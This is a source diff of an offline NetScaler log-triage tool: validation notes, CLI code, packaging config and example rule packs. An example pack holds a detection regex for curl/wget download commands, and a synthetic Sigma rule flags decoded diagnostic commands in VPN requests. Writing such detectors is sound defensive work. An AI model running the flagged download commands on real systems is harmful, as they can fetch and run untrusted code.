uv run python -W error -m unittest discover -s tests
|
||||||
|
uv run mypy
|
||||||
|
uv run ruff check src tests typing_stubs
|
||||||
|
|
||||||
|
The tests verify catalog uniqueness and source links, raw and decoded matches,
|
||||||
|
IP boundaries and preservation of encoding evidence. They do not establish
|
||||||
|
the truth of every vendor attribution or successful exploitation of a device.
|
||||||
+133
@@ -0,0 +1,133 @@
|
|||||||
|
VALIDATION SCOPE
|
||||||
|
|
||||||
|
CPython 3.14.8 on macOS/ARM64. Windows and Linux were not executed in this
|
||||||
|
validation environment. Synthetic path checks do not replace target-OS tests.
|
||||||
|
|
||||||
|
CODE AUDIT
|
||||||
|
|
||||||
|
134 tests passed with Python warnings treated as errors in 36.475 seconds.
|
||||||
|
Strict mypy passed for 35 source files. Ruff lint and format checks passed for
|
||||||
|
36 files. The enabled
|
||||||
|
lint families are E, F, I, UP, B, SIM, RUF and PERF; this is not a claim that every
|
||||||
|
optional rule from every analyzer is enabled.
|
||||||
|
|
||||||
|
Reproduce from the source directory:
|
||||||
|
uv sync --locked
|
||||||
|
uv run python -W error -m unittest discover -s tests
|
||||||
|
uv run mypy
|
||||||
|
uv run ruff check src tests typing_stubs
|
||||||
|
uv run ruff format --check src tests typing_stubs
|
||||||
|
|
||||||
|
Tests cover archive preparation, encrypted and nested archives, original file
|
||||||
|
preservation, multi-appliance parsing, time ambiguity, update evidence, bounded
|
||||||
|
decoding, defanging, rule packs, correlations, incomplete results, interruption
|
||||||
|
and release hygiene. Sigma tests exercise supported semantics, decoded views,
|
||||||
|
explicit unsupported-feature rejection and local matching limits.
|
||||||
|
|
||||||
|
A separate sequential CLI matrix passed all 21 invocations with warnings fatal:
|
||||||
|
common and advanced help, scan/extract/decode/indicators/inventory, JSON output,
|
||||||
|
implicit folder and archive inputs, current-folder discovery of multiple
|
||||||
|
archives, encrypted 7z input, URL decoding and Base64 decoding.
|
||||||
|
|
||||||
|
RELEASE INSTALLATION
|
||||||
|
|
||||||
|
A wheel and source distribution were built. Locked runtime requirements were
|
||||||
|
exported with hashes and installed into a fresh virtual environment outside the
|
||||||
|
source tree, followed by the wheel without dependency resolution. Installed-package
|
||||||
|
verification is repeated after changes to code or bundled intelligence. Source
|
||||||
|
metadata is included so the packaging allowlist test remains active.
|
||||||
|
CLI help, bundled Sigma matching and the 246-entry public IOC catalog passed.
|
||||||
|
|
||||||
|
The wheel includes 47 public Sigma rules and the attributed public reference
|
||||||
|
catalog. Private packs are opt-in, gitignored and excluded from both release
|
||||||
|
formats. Artifact inventories and text contents were checked for private
|
||||||
|
case indicators, identities, home paths, logs, evidence and runtime directories.
|
||||||
|
Tests and examples use synthetic documentation addresses.
|
||||||
|
|
||||||
|
Runtime versions checked: pySigma 1.5.1, regex 2026.9.29, PyYAML 6.0.3,
|
||||||
|
py7zr 1.1.3, pyzipper 0.4.0, rich 15.0.0, rich-argparse 1.8.0, tzdata 2026.4.
|
||||||
|
The lockfile records all dependency versions.
|
||||||
|
|
||||||
|
INTERPRETING RESULTS
|
||||||
|
|
||||||
|
No private incident data is required to run these software tests. Independent
|
||||||
|
real-dataset findings are retained in separate customer case folders in their
|
||||||
|
BERICHT.txt reports, outside this shared tool and its release.
|
||||||
|
Original inputs are hashed before and after analysis. Forensic coverage limits
|
||||||
|
are retained even when software tests and code checks pass: binary logs,
|
||||||
|
ambiguous timestamps, invalid UTF-8 and failed decoding are not silently fixed.
|
||||||
|
|
||||||
|
A match, decoded command or correlation is not proof of execution or compromise.
|
||||||
|
Passing software tests does not establish investigation completeness. The local
|
||||||
|
Sigma evaluator implements the subset documented in RULES.txt, not every Sigma
|
||||||
|
feature or a Splunk query exporter.
|
||||||
|
|
||||||
|
Scanning is sequential with buffered input/output, bounded decoding caches and
|
||||||
|
an approximately 8 MiB SQLite page cache. File inventory, archive metadata,
|
||||||
|
custom rule packs and result volume still affect total process memory. There
|
||||||
|
is no hard process-wide CPU or RAM quota and no automatic parallel worker pool.
|
||||||
|
|
||||||
|
INTELLIGENCE REFRESH CHECKS
|
||||||
|
|
||||||
|
All 37 requested public URLs were retrieved or attempted and recorded, including
|
||||||
|
access errors, application-only responses and verified alternate source URLs.
|
||||||
|
The inventory has 52 sources, 246 unique indicators and 41 behavior patterns,
|
||||||
|
expressed as 47 Sigma rules. All source/indicator/rule joins are checked.
|
||||||
|
|
||||||
|
Every catalog indicator has a literal positive test; 245 have raw and decoded
|
||||||
|
Sigma positives. The legitimate customsnmpd pathname is deliberately excluded
|
||||||
|
from standalone Sigma matching and retains its contextual catalog occurrence.
|
||||||
|
All IPv4 values are checked against prefix/suffix overmatching. HTTP tests cover
|
||||||
|
percent encoding, Base64, no padding, nesting, Referer and additional headers.
|
||||||
|
Original raw text and decoding spans remain verified.
|
||||||
|
|
||||||
|
The preceding frozen baseline completed two independent real datasets: 2,405
|
||||||
|
files and 4,043,139 records, with every original/reference hash preserved. That
|
||||||
|
full run predates this intelligence refresh and decoding-gate change. Its counts
|
||||||
|
and timings must not be presented as a full-run test of the updated rule pack.
|
||||||
|
Updated bounded real-data findings are retained in the corresponding customer
|
||||||
|
BERICHT.txt reports. Temporary verification outputs are not required runtime inputs.
|
||||||
|
|
||||||
|
A separate frozen-baseline, warm-cache repeated-sample experiment used the same
|
||||||
|
30,720 records per mode: one/two/four processes took 12.555/6.230/3.913 seconds.
|
||||||
|
All twelve per-job outputs were semantically equivalent. Four processes used a
|
||||||
|
conservative aggregate peak sum of 262.9 MiB. This is a throughput experiment,
|
||||||
|
not an implemented parallel scanner, hard memory cap or full-archive forecast.
|
||||||
|
|
||||||
|
The final gate also checks every public IOC encoded as padded and unpadded
|
||||||
|
Base64, including all-uppercase tokens and four-character encodings. Canonical
|
||||||
|
short/full-field decoding requires a printable UTF-8 roundtrip and is bounded
|
||||||
|
to 4-4096 characters. This does not attempt to decode every ordinary word.
|
||||||
|
|
||||||
|
PREVIOUS INSTALLATION AND RUNTIME SMOKE CHECK
|
||||||
|
|
||||||
|
The previous installed wheel passed all 106 tests with warnings treated as errors
|
||||||
|
in 28.839 seconds in a fresh environment outside the source tree. Locked
|
||||||
|
runtime installation used 33 dependencies. CLI help, default Sigma matching and
|
||||||
|
uppercase-only Base64 decoding passed. After relocating the interpreter into
|
||||||
|
the shared tool directory, the same 106 tests passed in 29.001 seconds and CLI
|
||||||
|
help passed again. Python imports and module paths no longer depend on an
|
||||||
|
obsolete analysis checkout. These checks validate software operation, not
|
||||||
|
customer-specific compromise conclusions.
|
||||||
|
|
||||||
|
EXTENSIBLE RULE PACK REGRESSION
|
||||||
|
|
||||||
|
The current source passes 134 tests, including recursive pack loading, offline
|
||||||
|
validation, typed indicator boundaries, overlapping references, contextual Sigma
|
||||||
|
conditions, numeric selectors, limits and encoded command probes. Catalog
|
||||||
|
metadata cannot bypass a Sigma condition. The release was rebuilt after these
|
||||||
|
changes. The older installed-wheel result above is not a test of this revision.
|
||||||
|
|
||||||
|
A bounded private regression verified 19,625 original referenced log lines from
|
||||||
|
two separate investigations, including all 94 recorded finding families in the
|
||||||
|
earlier investigation. Public-rule matching completed without matching errors.
|
||||||
|
The case-IOC run recorded one literal matching timeout; an independent retry of
|
||||||
|
that original record completed with a finding and no matching error. The initial
|
||||||
|
partial coverage remains recorded; decoding-candidate errors are reported
|
||||||
|
separately and are not silently treated as successful decoding.
|
||||||
|
|
||||||
|
The bounded regression is not a repeat of the earlier full 4,043,139-record run.
|
||||||
|
A subsequent Unicode literal-lookup guard has synthetic regression coverage,
|
||||||
|
but the entire private fixture set was not rerun after that guard. These checks
|
||||||
|
validate known examples and important negative cases, not zero false positives
|
||||||
|
or complete detection of all future attacks. Private evidence is not shipped.
|
||||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,17 @@
|
|||||||
|
{
|
||||||
|
"sources": [
|
||||||
|
{"id": "synthetic_example", "title": "Documentation examples, not threat intelligence"}
|
||||||
|
],
|
||||||
|
"patterns": [
|
||||||
|
{
|
||||||
|
"id": "example_download_command",
|
||||||
|
"pattern": "(?i)\\b(?:curl|wget)\\s+https?://",
|
||||||
|
"description": "A download command appears in the log. Check its destination, arguments and execution evidence; legitimate administration can match.",
|
||||||
|
"source": "synthetic_example"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"indicators": [
|
||||||
|
{"type": "ipv4", "value": "192.0.2.42", "status": "reference_only", "source": "synthetic_example"},
|
||||||
|
{"type": "domain", "value": "triage-demo.example.invalid", "status": "reference_only", "source": "synthetic_example"}
|
||||||
|
]
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
title: NetScaler Encoded Diagnostic Command In Request Context
|
||||||
|
id: 34bd2f41-877e-4e16-91a5-4aeb62dddc21
|
||||||
|
name: example_decoded_diagnostic_command
|
||||||
|
status: experimental
|
||||||
|
description: >-
|
||||||
|
Synthetic example matching a decoded identity command in an HTTP request.
|
||||||
|
A match does not prove execution and authorized diagnostics can match.
|
||||||
|
author: NetScaler Triage contributors
|
||||||
|
references:
|
||||||
|
- https://sigmahq.io/sigma-specification/specification/sigma-rules-specification.html
|
||||||
|
logsource:
|
||||||
|
product: netscaler
|
||||||
|
service: http_access
|
||||||
|
detection:
|
||||||
|
selection:
|
||||||
|
uri|startswith: /vpn/
|
||||||
|
raw|re: '^id$'
|
||||||
|
excluded:
|
||||||
|
uri|contains: /health
|
||||||
|
condition: selection and not excluded
|
||||||
|
falsepositives:
|
||||||
|
- Authorized security tests and administrative diagnostics.
|
||||||
|
level: low
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
{
|
||||||
|
"year": 2026,
|
||||||
|
"timezones": {"ADC-A": "UTC"},
|
||||||
|
"file_years": {"ADC-A/messages.previous": 2025}
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
[build-system]
|
||||||
|
requires = ["hatchling>=1.27"]
|
||||||
|
build-backend = "hatchling.build"
|
||||||
|
|
||||||
|
[project]
|
||||||
|
name = "netscaler-triage"
|
||||||
|
version = "1.0.0"
|
||||||
|
description = "Offline NetScaler evidence analysis with inspectable decoding and provenance"
|
||||||
|
readme = "README.md"
|
||||||
|
license = "MIT"
|
||||||
|
license-files = ["LICENSE.txt"]
|
||||||
|
requires-python = ">=3.14"
|
||||||
|
dependencies = [
|
||||||
|
"py7zr>=1.0",
|
||||||
|
"regex>=2025.11",
|
||||||
|
"tzdata>=2025.2",
|
||||||
|
"rich>=14.1",
|
||||||
|
"rich-argparse>=1.7",
|
||||||
|
"pyzipper>=0.3.6",
|
||||||
|
"pysigma>=1.5.1",
|
||||||
|
]
|
||||||
|
|
||||||
|
[project.scripts]
|
||||||
|
netscaler-triage = "netscaler_triage.cli:main"
|
||||||
|
|
||||||
|
[tool.hatch.build.targets.wheel]
|
||||||
|
packages = ["src/netscaler_triage"]
|
||||||
|
|
||||||
|
[tool.hatch.build.targets.sdist]
|
||||||
|
include = ["src/", "tests/", "typing_stubs/", "examples/", "config/threat_intel.json", "README.md", "README.txt", "RULES.txt", "VALIDATION.txt", "THREAT_INTELLIGENCE.txt", "LICENSE.txt", "uv.lock", ".python-version", ".gitignore", "pyproject.toml"]
|
||||||
|
|
||||||
|
[dependency-groups]
|
||||||
|
dev = [
|
||||||
|
"mypy>=2.3.1",
|
||||||
|
"ruff>=0.14",
|
||||||
|
"types-pyyaml>=6.0.12.20260906",
|
||||||
|
"types-regex>=2026.9.10.20260911",
|
||||||
|
]
|
||||||
|
|
||||||
|
[tool.ruff]
|
||||||
|
line-length = 100
|
||||||
|
target-version = "py314"
|
||||||
|
|
||||||
|
[tool.ruff.lint]
|
||||||
|
select = ["E", "F", "I", "UP", "B", "SIM", "RUF", "PERF"]
|
||||||
|
|
||||||
|
[tool.mypy]
|
||||||
|
strict = true
|
||||||
|
warn_unreachable = true
|
||||||
|
mypy_path = "typing_stubs"
|
||||||
|
python_version = "3.14"
|
||||||
|
files = ["src", "tests"]
|
||||||
|
check_untyped_defs = true
|
||||||
|
disallow_untyped_defs = true
|
||||||
|
warn_return_any = true
|
||||||
|
warn_unused_ignores = true
|
||||||
|
warn_redundant_casts = true
|
||||||
|
strict_equality = true
|
||||||
|
no_implicit_optional = true
|
||||||
|
pretty = true
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
"""Offline analysis; no discovered payload is ever executed."""
|
||||||
|
|
||||||
|
__version__ = "1.0.0"
|
||||||
@@ -0,0 +1,3 @@
|
|||||||
|
from .cli import main
|
||||||
|
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,457 @@
|
|||||||
|
"""CLI for evidence preparation, search, safe decoding and IOC extraction."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import argparse
|
||||||
|
import getpass
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from datetime import UTC, datetime
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Any, Never
|
||||||
|
from uuid import uuid4
|
||||||
|
|
||||||
|
from rich.console import Console
|
||||||
|
from rich.panel import Panel
|
||||||
|
from rich.table import Table
|
||||||
|
from rich.text import Text
|
||||||
|
from rich_argparse import ArgumentDefaultsRichHelpFormatter
|
||||||
|
|
||||||
|
from .config_loading import ConfigError, load_config, load_configs
|
||||||
|
from .decoding import decode_layers
|
||||||
|
from .engine import dump, scan, validate_output
|
||||||
|
from .indicators import extract_indicators
|
||||||
|
from .ingest import extract_archive, inventory
|
||||||
|
from .preparation import PreparationEntry, prepare_inputs
|
||||||
|
|
||||||
|
|
||||||
|
class Parser(argparse.ArgumentParser):
|
||||||
|
"""Consistent rich help and actionable argument errors for every subcommand."""
|
||||||
|
|
||||||
|
def __init__(self, *args: Any, **kwargs: Any) -> None:
|
||||||
|
kwargs.setdefault("formatter_class", ArgumentDefaultsRichHelpFormatter)
|
||||||
|
super().__init__(*args, **kwargs)
|
||||||
|
|
||||||
|
def error(self, message: str) -> Never:
|
||||||
|
Console(stderr=True).print(
|
||||||
|
Panel(Text(message), title="Invalid arguments", border_style="red")
|
||||||
|
)
|
||||||
|
self.exit(2, f"Run '{self.prog} --help' for options and examples.\n")
|
||||||
|
|
||||||
|
|
||||||
|
def display_result(result: object, json_output: bool = False) -> None:
|
||||||
|
"""Keep redirected stdout machine-readable; format interactive summaries with Rich."""
|
||||||
|
console = Console()
|
||||||
|
if json_output or not console.is_terminal:
|
||||||
|
print(json.dumps(result, ensure_ascii=False, indent=2))
|
||||||
|
elif isinstance(result, dict) and "counts" in result:
|
||||||
|
table = Table(title="NetScaler triage results", header_style="bold cyan")
|
||||||
|
table.add_column("Metric")
|
||||||
|
table.add_column("Value", justify="right")
|
||||||
|
for key in ("status", "files", "duration_seconds", "integrity"):
|
||||||
|
table.add_row(key.replace("_", " ").title(), Text(str(result.get(key, "unknown"))))
|
||||||
|
for key, value in result["counts"].items():
|
||||||
|
table.add_row(key.replace("_", " ").title(), str(value))
|
||||||
|
console.print(table)
|
||||||
|
console.print(
|
||||||
|
"Use --json for all fields. Review summary.json for coverage and warnings.", style="dim"
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
console.print_json(data=result, ensure_ascii=False)
|
||||||
|
|
||||||
|
|
||||||
|
def assignment(value: str) -> tuple[str, str]:
|
||||||
|
name, separator, target = value.partition("=")
|
||||||
|
if not separator or not name or not target or "/" in name or "\\" in name:
|
||||||
|
raise argparse.ArgumentTypeError("Expected NAME=VALUE with a unique appliance name")
|
||||||
|
return name, target
|
||||||
|
|
||||||
|
|
||||||
|
def fresh_destination(parent: Path, label: str) -> Path:
|
||||||
|
"""Choose a new sibling directory without placing results inside evidence."""
|
||||||
|
stamp = datetime.now(UTC).strftime("%Y%m%d-%H%M%S")
|
||||||
|
return parent / f"{label}-{stamp}-{uuid4().hex[:6]}"
|
||||||
|
|
||||||
|
|
||||||
|
def main(argv: list[str] | None = None) -> int:
|
||||||
|
argv = list(sys.argv[1:] if argv is None else argv)
|
||||||
|
if not argv:
|
||||||
|
argv = ["scan"]
|
||||||
|
elif argv[0] not in {
|
||||||
|
"scan",
|
||||||
|
"extract",
|
||||||
|
"decode",
|
||||||
|
"indicators",
|
||||||
|
"inventory",
|
||||||
|
"rules",
|
||||||
|
"--help",
|
||||||
|
"-h",
|
||||||
|
}:
|
||||||
|
argv.insert(0, "scan")
|
||||||
|
advanced_help = "--help-all" in argv
|
||||||
|
parser = Parser(
|
||||||
|
description=(
|
||||||
|
"Offline NetScaler triage: search logs, inspect decoding and trace "
|
||||||
|
"evidence without executing payloads."
|
||||||
|
),
|
||||||
|
epilog=(
|
||||||
|
"Quick start: netscaler-triage logs.7z | netscaler-triage ./logs | "
|
||||||
|
"netscaler-triage (current folder). Add --password for a hidden "
|
||||||
|
"password prompt. Use scan --help-all for advanced options."
|
||||||
|
),
|
||||||
|
)
|
||||||
|
commands = parser.add_subparsers(dest="command", required=True)
|
||||||
|
scan_parser = commands.add_parser(
|
||||||
|
"scan", help="Search multiple appliance log directories with patterns and indicators"
|
||||||
|
)
|
||||||
|
scan_parser.add_argument(
|
||||||
|
"folders",
|
||||||
|
nargs="*",
|
||||||
|
type=Path,
|
||||||
|
metavar="LOG_FOLDER",
|
||||||
|
help="Log folders or archives; omit to use the current directory",
|
||||||
|
)
|
||||||
|
scan_parser.add_argument(
|
||||||
|
"--input", action="append", type=assignment, default=[], metavar="NAME=DIRECTORY"
|
||||||
|
)
|
||||||
|
scan_parser.add_argument("--output", type=Path)
|
||||||
|
scan_parser.add_argument(
|
||||||
|
"--config",
|
||||||
|
action="append",
|
||||||
|
type=Path,
|
||||||
|
default=[],
|
||||||
|
metavar="FILE_OR_DIRECTORY",
|
||||||
|
help="Explicit rule file or directory of packs (recursive); repeat to combine",
|
||||||
|
)
|
||||||
|
scan_parser.add_argument("--pattern", action="append", default=[])
|
||||||
|
scan_parser.add_argument("--ioc-file", action="append", type=Path, default=[])
|
||||||
|
scan_parser.add_argument(
|
||||||
|
"--time-config",
|
||||||
|
type=Path,
|
||||||
|
help="JSON configuration with timezones, year and per-file year overrides",
|
||||||
|
)
|
||||||
|
scan_parser.add_argument("--timezone", action="append", type=assignment, default=[])
|
||||||
|
scan_parser.add_argument("--year", type=int)
|
||||||
|
scan_parser.add_argument("--no-default-patterns", action="store_true")
|
||||||
|
scan_parser.add_argument(
|
||||||
|
"--extract-all",
|
||||||
|
action="store_true",
|
||||||
|
help="Store every record and its extracted observable candidates",
|
||||||
|
)
|
||||||
|
scan_parser.add_argument("--regex-timeout", type=float, default=0.05)
|
||||||
|
scan_parser.add_argument("--window", type=int, default=120)
|
||||||
|
scan_parser.add_argument("--max-line-bytes", type=int, default=1048576)
|
||||||
|
scan_parser.add_argument("--max-file-bytes", type=int, default=536870912)
|
||||||
|
scan_parser.add_argument("--max-bytes", type=int, default=2147483648)
|
||||||
|
scan_parser.add_argument("--max-files", type=int, default=100000)
|
||||||
|
scan_parser.add_argument("--max-depth", type=int, default=3)
|
||||||
|
scan_parser.add_argument(
|
||||||
|
"--password",
|
||||||
|
nargs="?",
|
||||||
|
const=True,
|
||||||
|
help="Archive password; omit its value for a hidden prompt",
|
||||||
|
)
|
||||||
|
extract = commands.add_parser(
|
||||||
|
"extract", help="Safely extract a 7z, ZIP or TAR archive into a new directory"
|
||||||
|
)
|
||||||
|
extract.add_argument("source", type=Path)
|
||||||
|
extract.add_argument("destination", type=Path, nargs="?")
|
||||||
|
extract.add_argument("--max-bytes", type=int, default=2147483648)
|
||||||
|
extract.add_argument("--max-files", type=int, default=100000)
|
||||||
|
extract.add_argument("--max-depth", type=int, default=3)
|
||||||
|
extract.add_argument(
|
||||||
|
"--password",
|
||||||
|
nargs="?",
|
||||||
|
const=True,
|
||||||
|
help="Archive password; omit its value for a hidden prompt",
|
||||||
|
)
|
||||||
|
for name in ("decode", "indicators"):
|
||||||
|
sub = commands.add_parser(
|
||||||
|
name, help="Inspect a UTF-8 file: decode safely or extract observable candidates"
|
||||||
|
)
|
||||||
|
sub.add_argument("file", type=Path)
|
||||||
|
sub.add_argument("--max-bytes", type=int, default=1048576)
|
||||||
|
rules_parser = commands.add_parser(
|
||||||
|
"rules", help="Validate and compile selected rule packs without scanning logs"
|
||||||
|
)
|
||||||
|
rules_parser.add_argument(
|
||||||
|
"--config",
|
||||||
|
action="append",
|
||||||
|
type=Path,
|
||||||
|
default=[],
|
||||||
|
metavar="FILE_OR_DIRECTORY",
|
||||||
|
help="Explicit rule file or directory; repeat to combine packs",
|
||||||
|
)
|
||||||
|
rules_parser.add_argument("--no-default-patterns", action="store_true")
|
||||||
|
rules_parser.add_argument("--regex-timeout", type=float, default=0.05)
|
||||||
|
inv = commands.add_parser(
|
||||||
|
"inventory", help="Create a SHA-256 inventory with paths relative to the input root"
|
||||||
|
)
|
||||||
|
inv.add_argument("root", type=Path)
|
||||||
|
descriptions = {
|
||||||
|
"input": "Appliance name and log directory; repeat for multiple appliances",
|
||||||
|
"output": "Where to save results; by default, create a new folder beside the logs",
|
||||||
|
"config": "Sigma YAML, JSON rules or legacy CSV; repeat to combine rule packs",
|
||||||
|
"pattern": "Additional regular expression; repeat to add patterns",
|
||||||
|
"ioc_file": "Indicator JSON/CSV or a text file with one literal per line",
|
||||||
|
"timezone": "NAME=IANA_ZONE, for example ADC=Europe/Berlin; repeat per appliance",
|
||||||
|
"year": "Explicit year assumption for timestamps without a year",
|
||||||
|
"no_default_patterns": (
|
||||||
|
"Disable built-in patterns and bundled public IOCs; keep update detection"
|
||||||
|
),
|
||||||
|
"regex_timeout": "Maximum seconds per regex search before aborting",
|
||||||
|
"window": "Maximum time gap in seconds for correlation candidates",
|
||||||
|
"max_line_bytes": "Maximum expanded bytes per log line",
|
||||||
|
"max_file_bytes": "Maximum expanded bytes per log file",
|
||||||
|
"source": "Source archive; originals are never overwritten",
|
||||||
|
"destination": "Optional new directory; by default, create one beside the archive",
|
||||||
|
"max_bytes": "Maximum input or total extracted bytes",
|
||||||
|
"max_files": "Maximum archive entries across nested archives",
|
||||||
|
"max_depth": "Maximum nested archive depth",
|
||||||
|
"file": "UTF-8 input file to inspect without executing its contents",
|
||||||
|
"root": "Log directory to inventory recursively",
|
||||||
|
}
|
||||||
|
examples = {
|
||||||
|
"scan": (
|
||||||
|
"Example: netscaler-triage scan ./logs\nBuilt-in patterns, safe "
|
||||||
|
"decoding, update detection and correlation run automatically. Missing "
|
||||||
|
"timestamp information is left unknown, not guessed."
|
||||||
|
),
|
||||||
|
"extract": "Example: netscaler-triage extract logs.7z",
|
||||||
|
"decode": "Example: netscaler-triage decode payload.txt --json",
|
||||||
|
"indicators": "Example: netscaler-triage indicators payload.txt --json",
|
||||||
|
"rules": "Example: netscaler-triage rules --config ./my-rules --json",
|
||||||
|
"inventory": "Example: netscaler-triage inventory logs --json",
|
||||||
|
}
|
||||||
|
for name, subparser in commands.choices.items():
|
||||||
|
subparser.epilog = examples[name]
|
||||||
|
for action in subparser._actions:
|
||||||
|
if action.help is None:
|
||||||
|
action.help = descriptions.get(action.dest)
|
||||||
|
subparser.add_argument(
|
||||||
|
"--json",
|
||||||
|
action="store_true",
|
||||||
|
help="Emit plain JSON, including in an interactive terminal",
|
||||||
|
)
|
||||||
|
subparser.add_argument("--help-all", action="help", help="Show all advanced options")
|
||||||
|
if not advanced_help:
|
||||||
|
visible = {
|
||||||
|
"help",
|
||||||
|
"help_all",
|
||||||
|
"folders",
|
||||||
|
"output",
|
||||||
|
"pattern",
|
||||||
|
"config",
|
||||||
|
"ioc_file",
|
||||||
|
"source",
|
||||||
|
"destination",
|
||||||
|
"file",
|
||||||
|
"root",
|
||||||
|
"password",
|
||||||
|
}
|
||||||
|
for action in subparser._actions:
|
||||||
|
if action.dest not in visible:
|
||||||
|
action.help = argparse.SUPPRESS
|
||||||
|
args = parser.parse_args(argv)
|
||||||
|
result: object
|
||||||
|
try:
|
||||||
|
if args.command == "rules":
|
||||||
|
from .matching import Matcher
|
||||||
|
|
||||||
|
configs = load_configs(args.config)
|
||||||
|
try:
|
||||||
|
matcher = Matcher(
|
||||||
|
configs, timeout=args.regex_timeout, defaults=not args.no_default_patterns
|
||||||
|
)
|
||||||
|
except (ValueError, TypeError) as exc:
|
||||||
|
raise ConfigError(f"Rule validation failed: {exc}") from exc
|
||||||
|
result = {
|
||||||
|
"status": "valid",
|
||||||
|
"selected_pack_files": len(configs),
|
||||||
|
"defaults_enabled": not args.no_default_patterns,
|
||||||
|
"sigma_rules": sum(len(pack.rules) for pack in matcher.sigma_matchers),
|
||||||
|
"regex_rules": len(matcher.rules),
|
||||||
|
"explicit_active_indicators": sum(
|
||||||
|
row.get("type") != "regex" for row in matcher.indicators
|
||||||
|
),
|
||||||
|
}
|
||||||
|
display_result(result, args.json)
|
||||||
|
return 0
|
||||||
|
if args.command == "scan":
|
||||||
|
inputs = [(name, Path(path)) for name, path in args.input]
|
||||||
|
inputs.extend((path.resolve().name, path) for path in args.folders)
|
||||||
|
if not inputs:
|
||||||
|
inputs = [(Path.cwd().name, Path.cwd())]
|
||||||
|
if args.input and len({name for name, _ in inputs}) != len(inputs):
|
||||||
|
scan_parser.error(
|
||||||
|
"Folders have matching appliance names. Use --input NAME=DIRECTORY to "
|
||||||
|
"give each a unique name."
|
||||||
|
)
|
||||||
|
if args.output is None:
|
||||||
|
try:
|
||||||
|
shared = Path(os.path.commonpath([path.resolve() for _, path in inputs]))
|
||||||
|
output_parent = shared.parent
|
||||||
|
except ValueError:
|
||||||
|
# Inputs on different Windows drives have no common parent.
|
||||||
|
output_parent = Path.cwd()
|
||||||
|
args.output = fresh_destination(output_parent, "triage-results")
|
||||||
|
validate_output(args.output, [(str(i), path) for i, (_, path) in enumerate(inputs)])
|
||||||
|
configs = load_configs(args.config + args.ioc_file)
|
||||||
|
configs.append(
|
||||||
|
{
|
||||||
|
"patterns": [
|
||||||
|
{"id": f"custom_{i}", "pattern": p} for i, p in enumerate(args.pattern)
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)
|
||||||
|
times = load_config(args.time_config) if args.time_config else {}
|
||||||
|
password = (
|
||||||
|
getpass.getpass("Archive password: ") if args.password is True else args.password
|
||||||
|
)
|
||||||
|
prepared = None
|
||||||
|
preparation_manifest: list[PreparationEntry] = []
|
||||||
|
# Keep explicit named directory inputs compatible with established forensic runs.
|
||||||
|
if args.folders or not args.input or any(not path.is_dir() for _, path in inputs):
|
||||||
|
if args.output.exists():
|
||||||
|
raise FileExistsError("Output already exists")
|
||||||
|
args.output.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
prepared = fresh_destination(args.output.parent, ".triage-preparation")
|
||||||
|
inputs, preparation_manifest = prepare_inputs(
|
||||||
|
[path for _, path in inputs],
|
||||||
|
prepared,
|
||||||
|
password=password,
|
||||||
|
max_bytes=args.max_bytes,
|
||||||
|
max_files=args.max_files,
|
||||||
|
max_depth=args.max_depth,
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
result = scan(
|
||||||
|
inputs,
|
||||||
|
args.output,
|
||||||
|
configs,
|
||||||
|
year=args.year if args.year is not None else times.get("year"),
|
||||||
|
timezones={**times.get("timezones", {}), **dict(args.timezone)},
|
||||||
|
file_years=times.get("file_years", {}),
|
||||||
|
defaults=not args.no_default_patterns,
|
||||||
|
extract_all=args.extract_all,
|
||||||
|
regex_timeout=args.regex_timeout,
|
||||||
|
window=args.window,
|
||||||
|
max_line_bytes=args.max_line_bytes,
|
||||||
|
max_file_bytes=args.max_file_bytes,
|
||||||
|
)
|
||||||
|
finally:
|
||||||
|
if prepared is not None and args.output.is_dir():
|
||||||
|
roots = [
|
||||||
|
{
|
||||||
|
"appliance": name,
|
||||||
|
"path": "inputs/" + path.relative_to(prepared).as_posix(),
|
||||||
|
}
|
||||||
|
for name, path in inputs
|
||||||
|
]
|
||||||
|
prepared.rename(args.output / "inputs")
|
||||||
|
with (args.output / "preparation_manifest.json").open(
|
||||||
|
"x", encoding="utf-8"
|
||||||
|
) as handle:
|
||||||
|
json.dump(
|
||||||
|
{"roots": roots, "entries": preparation_manifest},
|
||||||
|
handle,
|
||||||
|
ensure_ascii=False,
|
||||||
|
indent=2,
|
||||||
|
)
|
||||||
|
preparation_errors = [
|
||||||
|
entry for entry in preparation_manifest if entry.get("action") == "error"
|
||||||
|
]
|
||||||
|
if preparation_errors:
|
||||||
|
result["status"] = "partial"
|
||||||
|
result["counts"]["preparation_errors"] = len(preparation_errors)
|
||||||
|
result["preparation_errors"] = preparation_errors
|
||||||
|
result["integrity"] = "not_fully_verified"
|
||||||
|
dump(args.output / "summary.json", result)
|
||||||
|
Console(stderr=True).print(
|
||||||
|
Text(
|
||||||
|
f"Preparation incomplete: {len(preparation_errors)} input error(s). "
|
||||||
|
"Readable inputs were analyzed; review preparation_manifest.json.",
|
||||||
|
style="yellow",
|
||||||
|
)
|
||||||
|
)
|
||||||
|
display_result(result, args.json)
|
||||||
|
Console(stderr=True).print(Text(f"Results saved to: {os.path.relpath(args.output)}"))
|
||||||
|
return 0 if result["status"] == "complete" else 2
|
||||||
|
if args.command == "extract":
|
||||||
|
if args.destination is None:
|
||||||
|
args.destination = fresh_destination(args.source.resolve().parent, "extracted-logs")
|
||||||
|
manifest = args.destination.with_name(args.destination.name + ".manifest.json")
|
||||||
|
if manifest.exists() or manifest.is_symlink():
|
||||||
|
raise ValueError("Extraction manifest already exists")
|
||||||
|
result = extract_archive(
|
||||||
|
args.source,
|
||||||
|
args.destination,
|
||||||
|
args.max_bytes,
|
||||||
|
args.max_files,
|
||||||
|
args.max_depth,
|
||||||
|
password=getpass.getpass("Archive password: ")
|
||||||
|
if args.password is True
|
||||||
|
else args.password,
|
||||||
|
)
|
||||||
|
with manifest.open("x", encoding="utf-8") as handle:
|
||||||
